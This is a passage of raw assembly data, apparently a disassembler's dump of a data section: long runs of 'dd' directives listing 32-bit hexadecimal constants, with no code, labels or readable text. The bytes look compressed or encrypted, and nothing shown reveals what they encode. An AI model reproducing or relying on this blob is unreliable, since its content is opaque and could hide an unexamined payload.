dd 0A5D4F4E9h, 0DD022C1Dh, 81B7B00h, 0E0B640h, 1260D8ADh
dd 0C2AE2B09h, 0EFCEAC26h, 0BC4CD400h, 0F067BFE9h, 1389A0Ah
dd 0F55B793Bh, 87D025EEh, 9556C1E0h, 0D7D3C41h, 7C45B4C4h
dd 0BD8E0001h, 3EC1A2Fh, 8407E280h, 0BE57BA3Dh, 0A0EA7EF0h
dd 8D8B0093h, 0FD2AB4BBh, 47005451h, 96A663D3h, 0E139684Ah
dd 55420h, 81400A32h, 9D594F31h, 0D0232D00h, 51D4868Eh
dd 3217FF4h, 739EBD38h, 8DD8F9E2h, 4500AAD5h, 121932C8h
dd 4A765Bh, 0ED81DB89h, 0ADD0795Eh, 0DCA55000h, 386FFE11h
dd 0E2160034h, 0B47D547Bh, 35013019h, 2022370Bh, 10ECEDF8h
dd 0F5951EA9h, 1EF740D5h, 3C15452h, 0F985E216h, 0B25BE600h
dd 1DECED16h, 0C39BFC19h, 63EAB04Bh, 8B1026D8h, 53373900h
dd 2B1F1755h, 25AC0E8Fh, 54E06678h, 245A829Dh, 13F9DB00h
dd 1894C44Ch, 7FC500AFh, 88198314h, 4F0067E0h, 309C12C2h
dd 0C95A8Eh, 337AEF15h, 7FB861B7h, 0E4B16270h, 22003D1Fh
dd 59296D9Ah, 6EE627h, 34AEE23h, 434E110Ah, 0FA56C300h
dd 0A864E39Ah, 0EF380B7Bh, 0CA84BD6Ah, 0D379C131h, 9F08F8BFh
dd 0D0002C98h, 7B028A4Dh, 5B3F3B1h, 17D73A69h, 0FB14C096h
dd 0FE025C64h, 2220AB76h, 268C4077h, 52BB009Bh, 637DF8BAh
dd 0CE000AD2h, 0EB7B9801h, 5C594C50h, 0A61C7DFEh, 4737004Bh
dd 7D7446AFh, 0C81FF670h, 7541A3C7h, 0B0514C07h, 4D92EF8h
dd 7F222506h, 7C0EC06Dh, 0D4FF4F8Fh, 0E2006705h, 130E3FC4h
dd 584211h, 0BCBD07F3h, 36F09EB0h, 3A1A8107h, 51B2A871h
dd 4E8C9E6h, 88AF04CEh, 84003894h, 393082BFh, 75476Bh
dd 32CB91D5h, 88F57E2Eh, 83E93A00h, 7928A482h, 0F22900D8h
dd 349D8024h, 2304DA2Fh, 5C1E56AEh, 3832F8C0h, 7C38092h
dd 5DBC609h, 9B60101Bh, 0EA040065h, 1580977Bh, 0E800F80Eh
dd 1F813452h, 900F8709h, 0AD3B0070h, 9A6AF45Dh, 69004E3Fh
dd 0F6EB778Fh, 0D62D6Bh, 0D11BA64Fh, 0B6641860h, 0E2CB0C00h
dd 1F622A1h, 23E00065h, 6DCE0DEBh, 0A8039CC4h, 55D26FCh
dd 0F6F4888Dh, 1DCF009Eh, 7C7842ABh, 0E62622CBh, 0D70044AEh
dd 0CCD62FBFh, 9F0A0775h, 90FBFF2Bh, 0A8A3670Fh, 61EA3C7Bh
dd 8607E87Fh, 3DD6311Ch, 0DE885320h, 5B9400B1h, 16F8BF8Dh
dd 0F105324Ch, 0EA6D0F5h, 0C27AE30Ah, 5E1DB200h, 1245C28Ah
dd 81783BD6h, 26811AD0h, 7F070038h, 0D96A1210h, 6CED000Eh
dd 0F4F5A581h, 460009A3h, 5BA0FA8Fh, 0E0E10EBh, 31197C4Dh
dd 2ECF520h, 1D00B881h, 0FE85A38h, 1D35209h, 63E02A26h
dd 30A9B4AEh, 0D2046AB0h, 215AAD8Ch, 0BA86E087h, 0E1EB3310h
dd 0D6C0C221h, 0DF00AA43h, 543DE95Ah, 0F08DBEB5h, 0D1DE0F14h
dd 2E808F10h, 0FBAC5AECh, 6A27DA1Ch, 0D8C88180h, 39F6D8Dh
dd 0ED63E11Ah, 5801AA8Bh, 0F99C9255h, 342935C0h, 23453D7Ch
dd 19F4E9Dh, 54F961A0h, 22C8E8CDh, 0DE112607h, 10002EB9h
dd 15FD7D2h, 48939653h, 0C42204C8h, 29793501h, 5B841001h
dd 4B11FE9Bh, 8362FCh, 1F2F443Fh, 3EA02920h, 0A96C8500h
dd 8C7B7911h, 888E000Dh, 0B37DE330h, 0E1009768h, 31576080h
dd 155223h, 26B063CDh, 2EEDB9F4h, 805BC23Ch, 89D5051Fh
dd 23C4E9h, 963D8CE5h, 2E696DF3h, 0D8CEEBE2h, 4BC07D56h
dd 62AA36D4h, 3C7A00B8h, 84690432h, 80A96A7Fh, 0FB8EEC8Dh
dd 0B7892C02h, 5592DDB6h, 9E497980h, 1C7CDACEh, 7C829B00h
dd 0F37F546Bh, 0CC3118B5h, 3DFD69FCh, 5067F630h, 18199FE4h
dd 61577A15h, 0E007513h, 2A8543CDh, 24E29DD7h, 8740350Ch
dd 7066CBCAh, 957D0DE7h, 4CED6000h, 1147258h, 15E00Bh
dd 0F87F3590h, 6F783F8Bh, 0E86152h, 0EE3EA10Bh, 88587F04h
dd 0B301AB49h, 0A362A4BCh, 198054B2h, 0B4F6DCB6h, 0BA604A57h
dd 44C4DE41h, 1C497EEFh, 4F1D03C9h, 810083B8h, 0D592C2D4h
dd 352FA607h, 0F30A551h, 44D07296h, 5F0EDA9Ah, 0C0018AEDh
dd 302E19C3h, 40E8184Eh, 86A5E134h, 31B34A30h, 24F582B7h
dd 1599BD05h, 4A14A057h, 0F11F9C08h, 0F966Eh, 0F004434Fh
dd 0CD005A39h, 0C98B3289h, 0A87079h, 4E15A07Fh, 119F0DD3h
dd 144D13Ch, 6E2607B7h, 73ECA8E4h, 99B10156h, 48DF1150h
dd 46FCD070h, 8B71706h, 44298188h, 91005277h, 3C935466h
dd 3D010B9Bh, 0F19E8D38h, 0E2DE83D5h, 5EB8691Fh, 0CE0F90E1h
dd 0A0391548h, 0A963FA27h, 1607861h, 1D10F175h, 0E445AD55h
dd 31009A8Ch, 0E6BDEB71h, 77641CAh, 0C0D97AEEh, 992870D6h
dd 803EAC42h, 905B805Fh, 3BFBCE94h, 3F1400E8h, 4B6BD4B2h
dd 0F50034A1h, 25BB2676h, 0F13A4A5h, 0B12C272Eh, 4C878AC0h
dd 0D400B34Eh, 6EEF55DFh, 1823525h, 8E261E8Bh, 0E444989Dh
dd 0E300CC8Ah, 0E611F92Ch, 98EB7AA0h, 170A0E6Ch, 970098DFh
dd 74128E36h, 8D7F9101h, 75106CA8h, 14187A81h, 40819BCFh
dd 9C68A9C0h, 8008F63Ah, 0D6F78E88h, 0F4D26CDh, 0B86BBDCBh
dd 68DAF0E1h, 6989C4FEh, 0A055D800h, 0E00BE848h, 763A0029h
dd 11235FF6h, 0C707D9F4h, 0C2FA2E70h, 0A5DB7771h, 1AA9E0h
dd 84AF651Fh, 0C5E7F210h, 489EA21Ch, 90E88Fh, 2CBD968Eh
dd 0C1EA64h, 88FC568Bh, 0F0E40BDCh, 93F34100h, 0C2AFBBDBh
dd 1028006Dh, 503A99ACh, 60055F6h, 65FE89FFh, 0F47C81Ah
dd 5B53B471h, 4C9C27C0h, 4D004A7Fh, 9112A74Eh, 1B58CD1h
dd 0E206E826h, 0CC5E9A9Fh, 7401FFC2h, 6BF3BAE0h, 0B06EC422h
dd 0D63D3F91h, 0B839FD5Ch, 0BC3C0049h, 0FDECC178h, 0EDE603FEh
dd 3AA584BDh, 0D8E0F483h, 11009E1Bh, 52A46F6Dh, 0FE9995h
dd 2E309B6Bh, 96D38869h, 0BC36E300h, 5A6FAED6h, 0B64E0223h
dd 444FE2EEh, 94FA0740h, 0D0646630h, 2959CFh, 0CC0B5127h
dd 806014C5h, 0CAFE5Ch, 551F56DFh, 38A5E787h, 800EACFh
dd 0C7AA5D96h, 84909986h, 1A4633Ch, 87D3BD01h, 0D182B4D8h
dd 0A6978021h, 0E2FB0E16h, 0BB45CB37h, 0A983C04Ch, 9600F0BAh
dd 0AD492F60h, 0CF13DFh, 5B73B6D2h, 0C3226F3Fh, 96E2F200h
dd 0E3F5426Bh, 0CE0F4D1h, 409116B3h, 84A0198Ah, 8D73449Ch
dd 6E023Bh, 47E089EFh, 1C0392F9h, 0CE370F21h, 63E0BDE7h
dd 0E5F239Ch, 9FBBC900h, 0FC6650AFh, 0A2980165h, 91FD5E3Bh
dd 744EF8F0h, 0D9528600h, 65E1B985h, 6090FC22h, 8FDC90C9h
dd 1938A899h, 1C50335h, 0E0F23CF5h, 0E53B9Ch, 34751B04h
dd 2CB6A653h, 91029406h, 2248FF2Eh, 0A2006763h, 418909B1h
dd 0E51557Fh, 22575601h
dd 0D1059B00h, 5B03CBB6h, 0FDE3A4EDh, 0C3819832h, 89570183h
dd 106EF29Ch, 91F3D450h, 0AC3F2000h, 691A8BAEh, 1F79004Eh
dd 56DB4AAh, 61007148h, 0C5E118A9h, 0B386BCh, 32E6AB20h
dd 3A77C364h, 52FAAD01h, 0BB55E5CBh, 0B8591CE8h, 0FFEF00F3h
dd 51AC579Ah, 1700B979h, 0E120F08Bh, 18860B3Dh, 0D1444616h
dd 0E43DCBF1h, 0E1CF8051h, 94A1E272h, 0C28C006Ch, 0A2BB9758h
dd 0FE00137Bh, 703A64B6h, 38FD0FC0h, 701EFEAh, 6968377Dh
dd 0B352E491h, 8F98EE39h, 0C0646B58h, 8966FDA7h, 0FB8F0755h
dd 0AA11B6ADh, 315980A0h, 53704236h, 8100B390h, 370ED499h
dd 9AB279h, 1E7449F1h, 8421B3FCh, 0FA0BD100h, 1BD95720h
dd 0D9B00E8h, 90C1C222h, 90016F0h, 0AB89EA65h, 450235Dh
dd 0FEDBA6B3h, 5B1083C0h, 0BBC27482h, 712132C0h, 3E031BE4h
dd 0FBEBD959h, 2C49007Ch, 0CC2BD4A1h, 7A3814E9h, 5BD2004Bh
dd 2976C41h, 0FB191F63h, 3053D801h, 4C3CF78Dh, 94A8545Ch
dd 2658FDF8h, 0B19B0437h, 18C8C87Bh, 44E500E1h, 0E31EBE02h
dd 7D1EAAFCh, 7E8099D0h, 1363EEA4h, 92393BF2h, 1D478700h
dd 795E0D5Fh, 0F09D9600h, 37F369DCh, 0ECF40080h, 9E1C0861h
dd 0E2072D01h, 3DE4532Ch, 5276808Fh, 0FDCF41h, 1A2D6DBh
dd 8FA3163h, 3F09DC00h, 3AD20FD1h, 569100B8h, 629CA42Dh
dd 827CA8E3h, 9E7C3Eh, 18DF32AEh, 0C19536h, 5E50B969h
dd 6403AFE4h, 44E86801h, 0C0968226h, 3206C0h, 4C986CA0h
dd 0D1702FEBh, 0DA001271h, 89E1ED33h, 14F0A1E3h, 94E73CAEh
dd 0F31A3Fh, 26F5FDF7h, 0CEB72A15h, 874F7F01h, 0F7004FAh
dd 784093C4h, 0C61A003Dh, 94B70B13h, 20B0F5C1h, 0A4183801h
dd 0C4559ABh, 0C87B1DCh, 723E844Ah, 8B03C860h, 464BD32h
dd 6CD0DF17h, 3AC59CB0h, 0D8D4B72Fh, 0CCC009Bh, 0D484F8ECh
dd 28E8587Dh, 0C819EE07h, 830F4696h, 0C150AD62h, 20E81343h
dd 0FE370055h, 0B1DE03E7h, 5001EE8h, 6AB70904h, 0B0DCC81h
dd 8507D00Ch, 0F7C9E800h, 730540BDh, 258417BCh, 83065003h
dd 68781Ch, 51621DB5h, 6A86C9E4h, 5E03C579h, 78BE9CF5h
dd 18801E8h, 0D14BA146h, 96408276h, 0FE5C1DEh, 17146700h
dd 747470A9h, 0FB8E972Eh, 1410C614h, 301CB249h, 5DD450ECh
dd 0BA8100C5h, 3F218D6Bh, 0F10049C1h, 0A905AA0Bh, 86EE69h
dd 0A29C1718h, 58BB5F43h, 0FB00AE7Ch, 0A3636E42h, 7B7810h
dd 3CF09A1Ah, 0DA9EB590h, 0A7714D01h, 664F8C23h, 0E33DCh
dd 51A6DB29h, 4360955Eh, 4128D800h, 63A4FDB5h, 67AC0E36h
dd 0C0404555h, 0D0CBA2F6h, 566C8700h, 0BFFF021Ah, 77997FBAh
dd 403000F1h, 82E9C3DBh, 0C6287950h, 3372A83Fh, 9040FA88h
dd 0C9F727Eh, 0A581776Ch, 21C00E08h, 60D1D85Ah, 0BB703Ah
dd 52340983h, 3DC387C2h, 0CA6DEB00h, 0EFFD289h, 7D61C802h
dd 0B9D1BDC0h, 6D4A219Fh, 0D1B5FD60h, 0CB3800C2h, 68BF796Ah
dd 1200DC2Ch, 3C2EA865h, 529B6Fh, 0AC0795FBh, 1A687933h
dd 0DBD41C0Eh, 8B73A16Ah, 209FFCEAh, 1359B026h, 0C30B47C9h
dd 80271BE3h, 0BFCD2C68h, 89300D86h, 5130E7BAh, 0D6269630h
dd 637610h, 0A74A65ACh, 4F31A1C7h, 8B43Dh, 0FDEABC2h, 3C5B222Dh
dd 580BBE3h, 0ED69C916h, 6A0C60F1h, 5996D1AAh, 0C1A30076h
dd 0E1378441h, 366611E4h, 1D211508h, 80C6BB56h, 0F505A616h
dd 6601C7F6h, 65554482h, 0E88C0A36h, 1B31A5D0h, 959FB100h
dd 912A4DE9h, 0F58E00D9h, 23EA87CEh, 0C6001BADh, 613DCB3Ah
dd 6079255h, 0A8B504DDh, 0B00E977h, 7D312738h, 1D0C8588h
dd 0C84F0DEh, 2A2005F1h, 9E0B4004h, 0DCC00F5Ch, 60AA8064h
dd 0D0738808h, 0C500AD3Fh, 13D46621h, 561229h, 6D026126h
dd 3FDC01Eh, 59004A7Eh, 87FB8360h, 1972ABDh, 45FE407Ch
dd 20200366h, 0FF00B81Dh, 0BEC292E1h, 0C067D976h, 36473B4Ah
dd 3300CACCh, 0B02413A1h, 1943E2h, 20E41250h, 703D696Dh
dd 95B71426h, 0DD728900h, 0E4F58646h, 9AE4004Ch, 2C514DCFh
dd 327AD12Fh, 0A758A0Eh, 46C100A3h, 0FDD4C0h, 15D66938h
dd 0D82E6F90h, 5994E402h, 9D917A71h, 1A41F504h, 1180B019h
dd 0CC31F02Fh, 8D3A3A3Fh, 54F1802Eh, 69F9E32Bh, 1921608Bh
dd 28979C75h, 1910A789h, 48C37822h, 0D7BFBA1h, 92F8A260h
dd 633C0021h, 6000D73h, 0DC8EE69Fh, 3128799h, 0BD5224E3h
dd 18009CA6h, 0FB8F0D11h, 776CBA13h, 3CC0F0CAh, 3F3A798Dh
dd 0E9AEA20Ch, 85E29950h, 3C70DFh, 8A11E027h, 18A87C3Ah
dd 81BB6904h, 80077512h, 29E345A2h, 7AF897B0h, 0A8680003h
dd 855B88B1h, 9918836Ch, 21C88159h, 6B8E4071h, 0C7907F00h
dd 0E2D68340h, 1202005Ch, 0BA104289h, 0E740BFAh, 0F9CC69C1h
dd 0E3DCF8AFh, 31F9C7ADh, 0C179907Ah, 0E277D937h, 5C18EA61h
dd 0B4C17038h, 0B096DCh, 5E47FB84h, 0D20CD8FDh, 7D788100h
dd 0BEA4E380h, 0F8D5F855h, 2366391Ah, 0EF2F1B85h, 0F4AC43AAh
dd 0A0CBAF69h, 0A0C0D86Eh, 0C6CC05D9h, 71F7180Ah, 5B5919A1h
dd 28F2FA03h, 80BA1D6Ah, 0C099092Ch, 864D0380h, 0C0A8DF9h
dd 98A75C75h, 0FA059603h, 0B87AA2B9h, 846B0424h, 2A13C544h
dd 9094C3h, 46033B85h, 3FD7A701h, 3C702200h, 5EF15A7Bh
dd 0C9F8008Ah, 0DEE09223h, 1094DBBh, 0B46E0Dh, 74150304h
dd 0B0FCA0AAh, 80860C9h, 788FBFD4h, 0F48EB81Ch, 7D973BC0h
dd 0FE6F981h, 8DA84F15h, 1150CA85h, 0FC8458B0h, 41B4485Fh
dd 405A919Dh, 0D319BCA4h, 753BE30Ah, 74A88050h, 0A8A7344h
dd 90275AB8h, 0DA4B81BCh, 8375C7EBh, 0C40AAC48h, 0C3B0007Eh
dd 4C775259h, 0E4EC27DDh, 0E018706Fh, 0B7040B0Dh, 6589084h
dd 0AEA74A89h, 9B3950D9h, 9C48A459h, 32A99040h, 484C907Dh
dd 0C2C574F1h, 90B05488h, 0D484F447h, 83FD4055h, 0C163C819h
dd 6846C620h, 7E698E8Ah, 96D4E0B0h, 686CC21Bh, 80FCE092h
dd 15E7A62h, 0CC02FBDEh, 5CDC486Dh, 503498A6h, 1401865Eh
dd 5FDF8AE4h, 29929FA6h, 0BACC007Eh, 6C76D3FEh, 0C0810C2Ah
dd 2744C103h, 0F0A05E75h, 9011850Ah, 2A6E093h, 198AC2D9h
dd 6C4B6FC5h, 53050DD0h, 8700C1F8h, 7073476Ch, 5CE0B8Bh
dd 0D6BCA285h, 0C884391h, 8802D21Bh, 4AAC322Bh, 45C8976h
dd 0AA485250h, 793C1483h, 0A49A00Ch, 0F8C4A4E1h, 836200F2h
dd 13963FE4h, 6F003CE7h, 0F9FD6503h, 67895C4h, 0A1F73EAFh
dd 7A06B958h, 0D7D5A322h, 0D0F10171h, 4E16E2F2h, 6BFA0090h
dd 0E9718A0h, 761181C4h, 0DD7DC09h, 48CCACC3h, 0D5A0089Bh
dd 4F187B1Bh, 0C4C3F438h, 417A5728h, 0DA6F8ACEh, 2111E3E3h
dd 0F30E6A68h, 1D066A3h, 860E4518h, 6998F1E9h, 7CD21E68h
dd 8E650037h, 5EFA3585h, 13FD5F00h, 5359A911h, 0FC6C15BDh
dd 2040DCD1h, 0D369008Ch, 0A72AD0F0h, 6F70DBC6h, 0EFFA9006h
dd 0B058A3h, 9DBFB1DAh, 22244DF9h, 6059ED24h, 0DC688E1Eh
dd 0A6E3FA00h, 5685A82h, 4CCD7014h, 4A38B8D7h, 31DD1218h
dd 0CA192592h, 0AA18E749h, 0AC20B7C5h, 690A1529h, 4200D87Bh
dd 1332A192h, 0EA05DEA4h, 78D28CF8h, 0BB234490h, 174D1414h
dd 0CD85FCADh, 0B10908Bh, 903A9484h, 84403C6h, 0D014D4FDh
dd 4805FB7Eh, 8D008777h, 151755F8h, 0CFF896F2h, 98EAE513h
dd 3AD92005h, 0A60AB060h, 7C238092h, 98FA9F0Dh, 7DF41081h
dd 0C8EB0083h
dd 0AFE454CFh, 0D0B15B4Ch, 10ACFE00h, 312D8D1Fh, 6F185F0Bh
dd 0B9D7C814h, 0F3B041F9h, 1040CCE2h, 3427072Ch, 41649A0Ch
dd 0CF030971h, 8884BA78h, 5E1C80E8h, 0BF000A6Eh, 6A07D9A1h
dd 0F840FB7Dh, 1527C1Eh, 0EBF77C6Bh, 311A148Eh, 58F8306Ch
dd 4A2C849Ah, 671584D9h, 3A8B1894h, 18430BD0h, 294F2515h
dd 5F19EAEBh, 9B31C001h, 0D7605510h, 0C4C90A00h, 65D2E40Ch
dd 21E9007Eh, 29D15BC2h, 2290E6D4h, 0F1003FE8h, 0D71BE371h
dd 66A6E2h, 6FD56DF7h, 464D8A31h, 3D4F603Fh, 0E0747497h
dd 7A2F6300h, 8B7CA634h, 0AF060E2Dh, 27C14A73h, 0FC86EA42h
dd 34C14D9h, 8267B3E0h, 2680C6B6h, 49F8A369h, 758E2804h
dd 70049C8Bh, 978D3B9Ch, 0AF84C834h, 38C8524Ah, 6E3A2406h
dd 13243E8Ch, 495A4668h, 6F21A0A8h, 47BFD26h, 8722C210h
dd 20FA9926h, 0BA412544h, 88EB762Eh, 437A0B28h, 5158818Ch
dd 0E960603h, 0FA48B3EDh, 0EFB12477h, 93A12ACh, 408F17CCh
dd 0C344B308h, 434C130Ah, 28111898h, 1E1959AAh, 18940EAh
dd 23055F3Dh, 0B0EEF3FCh, 2F85A900h, 0FDB75EFFh, 77107929h
dd 0DE4700A0h, 0B17AA207h, 0F0912731h, 0D26300A6h, 0F176E10Ch
dd 70B59C20h, 74A64D4Fh, 60D0E587h, 6D5E1A7Fh, 120228B3h
dd 43056E8Ch, 0A065A034h, 49D2FD36h, 0D072E1ACh, 684C6138h
dd 4E451DC0h, 132AD449h, 14B08080h, 448AA5Dh, 4475172Ah
dd 66A97490h, 96160941h, 24996B57h, 69171797h, 9D242069h
dd 130D9F62h, 6741EE4Fh, 8E0468h, 0F2872762h, 49E4AA5Ch
dd 0F4109250h, 293AA25Ah, 0D54C5468h, 2AFBB9C2h, 0E508E8F9h
dd 3A7C0FF8h, 688E8A9Ah, 0A5D46DE7h, 205C1279h, 0CE9DE10h
dd 0A17C7701h, 0D3E57871h, 499B85F0h, 0ED15C0D7h, 7E00EC10h
dd 18FB31B3h, 8218DE4Dh, 78A96CCEh, 0F4E90EC2h, 0A0A3386h
dd 0CB96876Ch, 0D9B1FC64h, 8D9C6C0Bh, 69AF8173h, 0BC48E4F8h
dd 9A1214C2h, 0E2009062h, 9168DCEBh, 0FC2BACABh, 64E4180Bh
dd 0CD04BCC0h, 0F16100AAh, 0A0F8B35Eh, 0F432D0FBh, 0C971F1BBh
dd 0A88278E0h, 0BA61F341h, 8C6530E0h, 2CF9B81Ch, 0EB2F62C0h
dd 28DF9FF4h, 174ADB2h, 0C83FB9E0h, 48E9BA7Eh, 94B8D240h
dd 45DBE38h, 26D67EF4h, 20843CA2h, 0F8D02560h, 2C7ED2CBh
dd 18F07A07h, 0ECFE31A3h, 75269001h, 4A819927h, 0FC507FD1h
dd 16B67Ch, 0DCA09DACh, 47524D0Dh, 6C92B917h, 4490BC01h
dd 0D424C6D9h, 6A1337D7h, 3B4D0189h, 5FE02E45h, 90ECA814h
dd 0FB6E16F6h, 5E3C0007h, 0D7C778B6h, 64000490h, 46319623h
dd 2A6C9327h, 4CA48E29h, 0A330B48Bh, 5E7CEF38h, 0EBA140h
dd 0A580268Fh, 3969A15h, 0A9FD673Dh, 1D8808BBh, 0C73B6014h
dd 8C0026B9h, 8D2A1728h, 1CEE5E63h, 9DD962h, 0AFB4EB27h
dd 690A20E3h, 20E8EA2Fh, 8DC7AB40h, 0E9EB0278h, 8E351F8Ch
dd 9C507062h, 527F80A0h, 0DDEE001h, 0D27C5A64h, 27091C28h
dd 5021B6C5h, 31222B68h, 8D189324h, 0C4EAFC08h, 41642C6Eh
dd 52066E7h, 92134D93h, 100DC00Eh, 14E86F8Ah, 0B604D8FDh
dd 0D102D929h, 298E0BE4h, 88192E20h, 0D748E8A0h, 27790204h
dd 0E861A62Bh, 4C765360h, 1D177014h, 2206FBB8h, 24F05229h
dd 104598Ah, 7A75D20Ch, 0D4E8607Dh, 93F1A961h, 59017C12h
dd 0EEB06146h, 0C6B694A5h, 81003874h, 30EA96ECh, 55A4F03h
dd 0A095C4FEh, 73083285h, 0C45CE030h, 908DA678h, 93B9620Ch
dd 0FDAB9A01h, 6571F339h, 0DB16444Fh, 47D42950h, 293B805Ah
dd 6200E794h, 5EEE4E13h, 6A06965h, 0B3F4DD63h, 0E242385Ch
dd 85AFE303h, 6100C2F9h, 0BD127071h, 0A9440BACh, 0F9F443D0h
dd 2C854EC6h, 0C050FC0h, 8FB97A92h, 0B6A0CC22h, 0A48248B0h
dd 0F3040597h, 0E9A40213h, 0B0A0FC7Dh, 6AEF68B3h, 83022FE0h
dd 237EF214h, 9F0899A1h, 70126318h, 7C151655h, 2E8C26B0h
dd 72B5A503h, 5AAAC8F9h, 0D0244829h, 8A9D4708h, 66FC7A01h
dd 48DA1FEAh, 12BED5FCh, 0DC5F2A4Ah, 524024DCh, 0C914267Eh
dd 6CD28CB0h, 0E6E1949h, 0D68B0C31h, 7B6600A1h, 252E5554h
dd 623DEA02h, 0BCB080C3h, 7CA09308h, 49C7423h, 5D0A118Ch
dd 0B3E4F0E0h, 68C4B8F8h, 27009A8Bh, 374816DFh, 52B4CF49h
dd 859484B0h, 0B47E841Eh, 2454F6C9h, 0A43E84ECh, 0CE89440Dh
dd 18E0ACA1h, 50EE8066h, 0DC8BEA00h, 4693215h, 60B40070h
dd 2DCD47D0h, 8A0316DAh, 53905430h, 2661E07Fh, 0F2C300B6h
dd 289B45A3h, 0A00DCFEh, 185C383Dh, 0ECC21Eh, 3E3B984Bh
dd 4D7DE082h, 2916AB00h, 5BEFBB6Eh, 0C3C900ECh, 1ED1C423h
dd 0C8785C0Fh, 93143B01h, 6B47121Ah, 33A392DCh, 0B55899D6h
dd 68F7FFC8h, 7303CC7Bh, 7BF2CACh, 2818E836h, 38C560A0h
dd 454D1AA4h, 189CDE2Ah, 30BFEC29h, 3242E664h, 0F2604AC2h
dd 59004D1Fh, 799BB735h, 0A10B1Bh, 6FE1C7D1h, 0D252DA3Eh
dd 0DB0017FAh, 505C2E94h, 98927F99h, 654A0082h, 77B36DA6h
dd 18C4EAF3h, 4F211C5Ch, 80F60313h, 3FF592Eh, 12C3E147h
dd 1000213Ch, 817552D6h, 0BBDD69h, 6F1D386h, 15E2F447h
dd 137E19C0h, 80A051h, 8991F3E4h, 0A272DA7Fh, 1E65C700h
dd 2EA8930Ah, 0EFE70C9h, 6706D621h, 30FDEAE0h, 8A0D550h
dd 7A0C7391h, 81D8D0D2h, 507C18BBh, 7879A0DFh, 0AC2F8A1Bh
dd 0FA57D858h, 6DD418C0h, 17AC193h, 7175B3Ch, 0F1858CB5h
dd 0A8455F01h, 70EAC830h, 94131884h, 55DF3191h, 645AF800h
dd 73EDF2A5h, 60F5743Dh, 0ADBC2196h, 0DB0002F9h, 7BF06972h
dd 1FBC6DAh, 5C3365D8h, 0B8382841h, 0B3CE00A8h, 1CA64ED1h
dd 0A3FC0EF3h, 0C08DF28Ch, 0D1066021h, 5C49DF1Eh, 9C1D4840h
dd 6F139279h, 1036D1F6h, 250FC8EBh, 0E02FAB93h, 40629986h
dd 0B2383052h, 534330D7h, 0CECA0A00h, 0EE3DC3A9h, 96CDFB01h
dd 0BB02F857h, 0CC8FC4h, 0DCE0F349h, 7D1573F6h, 0BF4300C9h
dd 5606D4FAh, 937ABD0Eh, 0DD5D5214h, 0CC4168FCh, 0C8AA640Fh
dd 30861DEFh, 2D911051h, 0DDD3BE00h, 0C2E267A4h, 0D6250077h
dd 0EAF2612Ah, 4210F3B6h, 0F3AFFEDh, 5886AD0Ch, 0AB01B959h
dd 0BA71161Fh, 51C5D21Ch, 61A00898h, 1F00AC12h, 87192649h
dd 271135Bh, 4ED5A7B4h, 0F8A0F71Ch, 48C77621h, 0C17970C0h
dd 1CD2BDB0h, 80A48C24h, 9D1DB8Dh, 0B700694Ch, 0FA3846A6h
dd 2415179Fh, 718FC55h, 606C300Dh, 256A8B47h, 10767400h
dd 0CF88DC1Bh, 0BE17002Dh, 8FDE1C75h, 7000F9Ch, 0FA40A498h
dd 0EF48BA1h, 37367170h, 0C4F7B020h, 0EF0F4C5Ch, 92E69DBBh
dd 87929600h, 446F0h, 5B7C3D2Dh, 510EA698h, 49D37400h
dd 2573CD57h, 677E60h, 0C9AD0890h, 3804C7D5h, 0E7BC950Ah
dd 351E8431h, 79C0A5DCh, 0E560DEC0h, 4CE40CCFh, 7A4106A7h
dd 83DAD37h, 0FB07E80h, 0BFF31D66h, 2F5E0646h, 3C002870h
dd 44890949h, 0DE333Eh, 3120010Bh, 0EEBA4861h, 0D08F2501h
dd 2B65E83Dh, 4DDB7880h, 6192D353h, 4F8C3E0Eh, 0D6E3A627h
dd 2E074318h, 0FB03FBB0h, 0B01D46A5h, 8BB6CCh, 5406603Fh
dd 0B45A0548h, 2B60F8FAh, 42BE0470h, 4A6D0683h, 4820777Bh
dd 38364B00h, 17A47662h, 5990FEDh, 0D02C358Fh, 0BA1BACE9h
dd 907994C3h, 6AD07A2h, 9BBB4DB2h, 460E497Eh, 8525A5E1h
dd 8C404926h, 50013460h, 8C80C239h, 8C800C1Dh, 0F7EC6957h
dd 0A8E3C00h, 755949CCh
dd 0BFD00732h, 41534CFFh, 0C85EB365h, 6000B647h, 5F7C266Bh
dd 0B83E0415h, 167F0FD6h, 27004146h, 0BE4A1D33h, 6A5F4407h
dd 7AF3E6A1h, 986DD3DAh, 0E1B9A48Fh, 0B8EEF3CFh, 6031DF98h
dd 2F1A509Ch, 474E4054h, 13056C1h, 7877ECE0h, 0A8C40039h
dd 2B5BDA0Fh, 8C0D542h, 1740AE4Ah, 0E5FD01CCh, 2DA08A8Dh
dd 1958E0CAh, 6ED13800h, 90A3F5CDh, 0AA70C034h, 0FDE4D808h
dd 0E1405C60h, 7F2A4E8h, 1F1937BCh, 0C9607F56h, 0F78F7188h
dd 81918400h, 0C202C6E6h, 0AE9E0390h, 69D418B9h, 5305017h
dd 0A7661701h, 0F8804882h, 0DB9B4D2Bh, 530C633Ah, 0E08F8DD8h
dd 0AEF70002h, 37F5C9F1h, 0BD001318h, 0E7819B26h, 4CBF78A6h
dd 62194D2Ah, 40BB484Ch, 0D5365C88h, 0B8AE183Eh, 25B960EFh
dd 74FD03h, 3986CFABh, 0E518539Dh, 0FE0EF2FEh, 95F1FAB0h
dd 3F0900C4h, 11ED40Ah, 9FC500F0h, 0C05A9D4Ch, 7119BADDh
dd 3B97385h, 0A042E960h, 1F2FC4C0h, 7628029h, 8CAD0C9Ah
dd 9B0EBA50h, 20A92454h, 0ECB1DD96h, 765A03BCh, 0B209AE64h
dd 0C51A7EE8h, 0DEED2E00h, 61675836h, 0E4FA4Ah, 80635434h
dd 70EA533Bh, 29DD5A31h, 320057AAh, 6501791Dh, 370D40A0h
dd 0EBF3111Ch, 901C80Eh, 7A7801C6h, 0F1BAF469h, 2C87C450h
dd 8B341E1Eh, 3C4CB900h, 7E6CA2h, 0C838C6C9h, 0BB372DFAh
dd 3ED40E07h, 603F4FF3h, 1393956Eh, 88E7004Bh, 820799AEh
dd 0A13FD010h, 0ECDF800Ah, 0C2D99296h, 63D10045h, 2E30E83Bh
dd 0E601B755h, 0AF6C6166h, 84505223h, 7503Dh, 45EA1DD3h
dd 0D84019Eh, 0E287F300h, 0A2FBB268h, 0A6EE0F7Eh, 4420289Dh
dd 22FCE16Ah, 0C0D68700h, 0B83E7008h, 29A33911h, 6D780500h
dd 42F4B2C9h, 73E94600h, 0C64148AFh, 0FC22007Ah, 831BF21Ah
dd 0CD05A51Ch, 0EF579E71h, 0C9BEB1C0h, 58B00D9h, 9DDF9BB4h
